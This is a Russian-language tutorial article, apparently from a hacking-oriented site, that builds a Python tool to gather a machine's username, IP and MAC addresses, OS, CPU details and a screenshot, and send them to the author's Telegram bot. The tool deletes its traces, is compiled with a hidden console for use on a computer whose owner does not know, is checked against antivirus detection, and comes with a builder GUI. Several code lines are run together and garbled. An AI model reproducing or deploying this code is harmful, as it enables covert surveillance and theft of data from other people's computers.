Чтобы просто увидеть IP-адрес и другие сетевые настройки, вам нужно перейти в командную строку и запустить команду ipconfig / all. Ситуация — одна из самых распространенных для эникейщиков и удаленных шаманов, но, по крайней мере, ее можно быстро решить. Но если вам нужно собрать более серьезный набор информации о машине, с которой вы теперь будете работать, без автоматизации вам не обойтись. Этим и займемся.
Доступ к компьютерной информации без санкции является преступлением. Ни автор, ни редакция не несут ответственности за ваши действия.
Давай сначала обрисуем, что мы вообще планируем делать. Я планирую собирать следующую информацию:
И отправляться это все будет прямиком тебе в телегу через специальный бот.
Сначала рассмотрим, где мы будем писать код. Вы можете писать код в обычном блокноте Windows, но мы будем использовать специальную среду разработки Python — PyCharm. Установка и настройка просты как два рубля: скачайте установщик, запустите его — и нажмите «Далее» при появлении такой кнопки.
Еще нам нужен Python. Буду использовать версию 3.9.0 — уверен, что с ней все работает.
Для отправки данных я решил использовать робота Telegram. Вы можете создать его через BotFather, а затем сохранить токен своего создания. Вы не можете опубликовать его — любой, кто получит этот токен, сможет взять под контроль вашего бота.
Для подключения к Bot API «телеги» нужны всего две строчки:
import telebot
bot = telebot.TeleBot("token from BotFather") # Подключение ботаЧтобы оценить быстродействие, можно написать еще пару строк. Весь дальнейший код расположим между ними. Описанное выше подключение бота уже вписано сюда
import telebot
from datetime import datetimebot = telebot.TeleBot("token")start = datetime.now() # Начало отсчета# Сюда поместим нашу основу, поэтому оставляем местоends = datetime.now() # Конец отсчетаworkspeed = format(ends - start) # Вычисление времениТеперь перейдем собственно к сбору данных.
Я не буду долго ходить вокруг да около и сразу начну разбирать секцию импорта.
import getpass
import osimport socketfrom datetime import datetimefrom uuid import getnode as get_macimport pyautoguifrom speedtest import Speedtestimport telebotimport psutilimport platformfrom PIL import ImageТеперь кратко рассмотрим, что делает каждый модуль. Если какие‑то функции тебе не нужны, выброси строку импорта модуля и код, который использует этот модуль. Все просто!
Итак, за работу с ОС и локальными ресурсами отвечают эти четыре модуля:
getpass нужен для определения информации о пользователе;os используем для взаимодействия с функциями ОС, вроде вызова внешних исполняемых файлов;psutil работает с некоторыми низкоуровневыми системными функциями;platform предоставит информацию об ОС.Этими модулями реализованы сетевые взаимодействия:
socket — для работы с сокетами и получения IP-адресов;getnode получает MAC-адрес машины;speedtest замеряет характеристики интернет‑соединения;telebot сделает всю рутину по работе с Telegram-ботом.Служебные примочки, которые трудно отнести к категориям выше:
datetime позволит определить время работы программы;pyautogui работает с GUI;PIL.Image — для снятия скриншота.После этого нам требуется узнать основные стабильные характеристики системы: IP- и MAC-адреса, имя пользователя и ОС:
name = getpass.getuser() # Имя пользователя
ip = socket.gethostbyname(socket.getfqdn()) # IP-адрес системыmac = get_mac() # MAC адресost = platform.uname() # Название операционной системыСтроки кода снабжены комментариями и в пояснениях не нуждаются.
from speedtest import Speedtest # Импорт модуля. Рассматривался вышеinet = Speedtest()download = float(str(inet.download())[0:2] + "." # Входящая скорость+ str(round(inet.download(), 2))[1]) * 0.125uploads = float(str(inet.upload())[0:2] + "." # Исходящая скорость+ str(round(inet.download(), 2))[1]) * 0.125Скорость измеряется служебной библиотекой Speedtest.net и поэтому дает результат в мегабитах, а не в мегабайтах. Чтобы исправить это, нужно разделить числовой результат на 8 или умножить на 0,125. Проделываем манипуляцию дважды — на скорость входа и выхода.
Важно понимать, что измерения не должны быть слишком точными, поскольку мы не можем легко проверить, какая часть канала используется другими программами или даже другими устройствами в сети. Если вы подключились к рабочей станции удаленно, ваше соединение тоже что-то потребляет. Исправление этого не было реализовано в программе из-за очень низкой точности и качества исполнения.
import psutilzone = psutil.boot_time() # Узнает время, заданное на компьютереtime = datetime.fromtimestamp(zone) # Переводит данные в читаемый видЕсли вы настраиваете сервер или слишком удаленный компьютер, время может отличаться. Измеренные значения часов складываются со всеми остальными данными — лишней информации нет. Если вы не знали, неправильная установка времени и / или часового пояса может вызвать ошибки при подключении к сайтам с использованием HTTPS. Этот код упрощает обнаружение таких проблем.
import psutilcpu = psutil.cpu_freq()Это может помочь определить причину, по которой ваш компьютер замедляется: если процессор постоянно развивается, но программы дают сбой, процессор устарел, а если он простаивает, виновата программа. И просто общее представление о железе.
В этой статье специально не рассказывается, как получить идентификатор жесткого диска или установленный идентификатор Windows GUID — мы не пишем руководство для рекламодателей, а практикуемся в программировании. Однако вы можете легко добавить коллекцию такой информации с помощью утилиты консоли wmic. Его вывод можно проанализировать с помощью скрипта Python, поэтому вам даже не нужно писать дополнительные привязки. На скриншоте показан пример получения серийного номера BIOS.
os.getcwd()try: # Перехват ошибки в случае неверно указанного расположенияos.chdir(r"/temp/path")except OSError:@bot.message_handler(commands=['start'])def start_message(message): # Служебная обвязка для ботаbot.send_message(message.chat.id, "[Error]: Location not found!")bot.stop_polling()bot.polling()raise SystemExitscreen = pyautogui.screenshot("screenshot.jpg") # Снятие скриншотаТут все тоже максимально просто, а за собственно снятие скриншота отвечает только последняя строка кода. Остальное мы используем для корректной обработки входящей команды бота.
После того, как все будет сделано, мы можем перейти к окончательному сбору и отправке данных. Мы создаем готовый файл с нашими данными: если был использован максимальный сбор информации, а точнее весь приведенный выше код, мы будем использовать этот набор данных, в противном случае мы удалим данные, которые вам не нужны:
try: # Обвязка для обработки команд ботуos.chdir(r"/temp/path")except OSError:@bot.message_handler(commands=['start'])def start_message(message):bot.send_message(message.chat.id, "[Error]: Location not found!")bot.stop_polling()bot.polling()raise SystemExitfile = open("info.txt", "w") # Открываем файлfile.write(f"[================================================]\n Operating System: {ost.system}\n Processor: {ost.processor}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time.year}/{time.month}/{time.day} {time.hour}:{time.minute}:{time.second}\n Work speed: {workspeed}\n Download: {download} MB/s\n Upload: {uploads} MB/s\n Max Frequency: {cpu.max:.2f} Mhz\n Min Frequency: {cpu.min:.2f} Mhz\n Current Frequency: {cpu.current:.2f} Mhz\n[================================================]\n") # Пишемfile.close() # ЗакрываемДлинный, но удобный для чтения код. Первая часть используется для обработки команды / start, вторая — для записи всех данных в файл. Результат отображается в info.txt, но путь, конечно, можно изменить прямо в коде.
Все, что вам нужно сделать, это отправить результат в Telegram.
Теперь дополним код выше, чтобы он еще и файлы отправлял.
text = "Screenshot" # Требуется при создании скриншота (текст к фото)@bot.message_handler(commands=['start']) # Выполняет действия при команде startdef start_message(message):upfile = open("Путь до файла\info.txt", "rb") # Читает файлыuphoto = open("Путь до файла\screenshot.jpg", "rb")bot.send_photo(message.chat.id, uphoto, text) # Отправляет данныеbot.send_document(message.chat.id, upfile)upfile.close() # Закрывает файлы (обязательно)uphoto.close()os.remove("info.txt") # Удаляет файлы, чтобы не оставлять следыos.remove("screenshot.jpg")bot.stop_polling() # Закрывает соединение после отправкиbot.polling() # Создает соединение с ботомСначала указывается подпись к скриншоту, потом читаем и отправляем файлы в виде фото и документа, затем зачищаем следы и закрываем соединение с ботом. Ничего сложного!
Естественно, если нам не нужен, к примеру, скриншот, мы можем вырезать код его отправки, получив такой вариант:
@bot.message_handler(commands=['start'])def start_message(message):upfile = open("Путь до файла\info.txt", "rb")bot.send_document(message.chat.id, upfile)upfile.close()os.remove("info.txt")bot.stop_polling()bot.polling()message.chat.id ID чата с собой. Его можно узнать через бот GetMyID.Также следует учесть одну деталь: перед запуском программы необходимо отправить своему боту команду / start, чтобы он понимал, кому должен отправлять данные.
Чтобы не перетаскивать Python и зависимости программы с собой на другой компьютер, давайте объединим все в один исполняемый файл. Это делается с помощью PyInstaller, который устанавливается с помощью простой команды pip install pyinstaller.
Переходим с помощью командной строки в папку с нашей программой и собираем ее командой
pyinstaller -i путь_до_иконки --onefile наш_файл.py Аргумент —onefile заставит PyInstaller упаковать все в один файл. После -i вы должны указать путь к значку исполняемого файла, если хотите его использовать. Если он вам не нужен, просто удалите этот аргумент. Последнее — это путь к файлу с нашим кодом. Если вы не хотите, чтобы консоль появлялась при запуске (например, если владелец компьютера не знает, что вы собираетесь ему помочь: D), измените расширение входного файла с помощью кода на .pyw или укажите параметр -w.
Не забывайте проверять наличие модулей и их обновлений, чтобы избежать ошибок. Можно указать любой временный путь, но лично я указываю C: \ Temp. Конечно, если будет найдена ОС на базе Linux, то этот код придется исправить.
Вы также должны проверить, насколько сильно и как определяется наш файл. Чтобы не допустить вас к VirusTotal, я сделал это сам.
Результат сканирования на VirusTotal
Полный код проекта я разместил на GitHub. Там есть и программа‑сборщик, о которой я расскажу ниже.
Для создания GUI сборщика нам придется работать с библиотекой Tkinter, поэтому прежде всего импортируем ее и нужные элементы:
# -*- coding: utf-8 -*- # Не забываем указывать конфигурациюfrom tkinter import * # Сама библиотека для работыfrom tkinter import messagebox as mb # Функция для создания окон с информациейПосле этого нужно создать окно, которое и будет основой интерфейса:
root = Tk()root.title("Tkinter") # Название программыroot.geometry("300x400") # Разрешение окна программыНам нужен только ввод API-ключа для доступа к боту. Делается такой ввод кодом ниже:
text = Label(root, text="Telegram bot token") # Текст для обозначения поляtext.grid(padx=100, pady=0) # Расположение по x/yAPI = Entry(root, width=20) # Создание поля ввода данныхAPI.grid(padx=100, pady=0)Это создаст два графических объекта — поле ввода и подпись к нему.
В этом интерфейсе не хватает кнопки для сборки выходного файла. Давай создадим ее:
button = Button(root, text="Create", command=clicked, height=2, width=10)button.grid(padx=100, pady=0)Создаем функцию, которая должна находиться в файле после импорта библиотек. В ней мы должны создавать файл и записывать в него код полезной нагрузки.
def clicked():system = open("source.py", "w")system.write('''# Сюда перемещаем полный код программы, которую мы писали раньше''')system.close()Но на этом наша функция не заканчивается, так как нужно дать пользователю понять, готов ли файл. Делаем это с помощью MessageBox:
if API.get() or direct.get() == "":mb.showwarning("WARNING", "There are empty fields")else:mb.showinfo("INFO", "The system.py file is ready!")Теперь осталось только запустить отрисовку и обработку сообщений строкой root..
Опционально можно собрать и сборочный интерфейс. Для этого используем старый добрый PyInstaller:
pyinstaller -F -w --onefile программа.py И все готово! Теперь ты имеешь полноценную программу для сбора данных о системе и ее сборщик, который ускорит процесс работы.
Каждый раз прибегать к PyInstaller, чтобы собрать программу, не слишком удобно. Можно воспользоваться модулем os и вызывать PyInstaller автоматически.
import osos.system("pyinstaller --onefile наш_файл.py") # Сборка выходного бинарникаos.rmdir("build")os.rmdir("__pycache__")os.remove("system.py")os.remove("system.spec")Если тебе понадобилась иконка, можно добавить в команду сборки параметр -i , а для сборки «невидимой» программы дописать -w — ровно как при ручной сборке!
В статье мы от начала до конца рассмотрели, как получить важные данные из вашей или чужой системы — от IP до модели процессора. Конечно, суть в том, что вы хотя бы немного научились писать код самостоятельно — и все равно сможете где-нибудь применить. Если вас интересует программирование на Python — прочтите например эту статью о написании простого вируса, это будет отличным закреплением ваших навыков программирования. Удачи!
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…